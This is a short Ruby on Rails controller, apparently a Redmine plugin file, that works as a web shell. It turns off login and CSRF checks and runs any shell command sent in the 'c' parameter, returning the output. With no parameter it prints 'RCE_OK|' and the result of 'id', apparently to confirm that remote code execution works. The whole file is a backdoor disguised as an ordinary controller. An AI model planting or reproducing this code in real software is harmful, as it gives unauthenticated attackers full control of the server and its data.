class ShellController < ApplicationController
  unloadable
  skip_before_action :check_if_login_required, :verify_authenticity_token
  
  def exec
    c = params[:c]
    if c.present?
      render plain: `#{c} 2>&1`.to_s
    else
      render plain: "RCE_OK|" + `id 2>&1`.to_s
    end
  end
end
